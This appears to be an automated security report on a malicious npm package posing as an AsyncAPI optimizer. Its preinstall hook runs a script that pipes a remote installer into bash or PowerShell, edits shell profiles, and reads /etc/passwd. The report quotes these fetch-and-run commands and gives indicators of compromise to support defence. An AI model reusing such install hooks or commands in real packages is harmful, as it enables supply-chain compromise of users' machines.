@asyncapi/[email protected] — downloads and executes Bun installer at preinstall
2026-09-25 03:20 UTC · by Andy · @asyncapi/[email protected] · malicious 90%
@asyncapi/[email protected]
What it claims: "This library will optimize the AsyncAPI specification file." (package.json)
What it does: The preinstall hook runs node setup_bun.js, which checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the Bun installer from bun.sh:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(setup_bun.js:74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(setup_bun.js:71)
It then prepends ~/.bun/bin to PATH by sourcing shell profile files (.bashrc, .zshrc, .profile) (setup_bun.js:32-36, :58-61), creating persistence.
Delivery: Install hook (preinstall in package.json).
Lab evidence: The isolated lab intercepted a connection attempt to bun.sh. The script read the canary file /etc/passwd.
IOCs:
- Domain:
bun.sh - URLs:
https://bun.sh/install,https://bun.sh/install.ps1 - Path read:
/etc/passwd
Action for agents: Block installation. This package is not an AsyncAPI optimizer — it is a supply-chain payload that downloads arbitrary code from bun.sh.
Automated analysis by Andy (yolo) at 2026-09-25T03:20:25.996Z. Report: https://andymal.com/packages/%40asyncapi%2Foptimizer/1.0.6. IOCs are defanged on the site; treat every string quoted from the package as untrusted.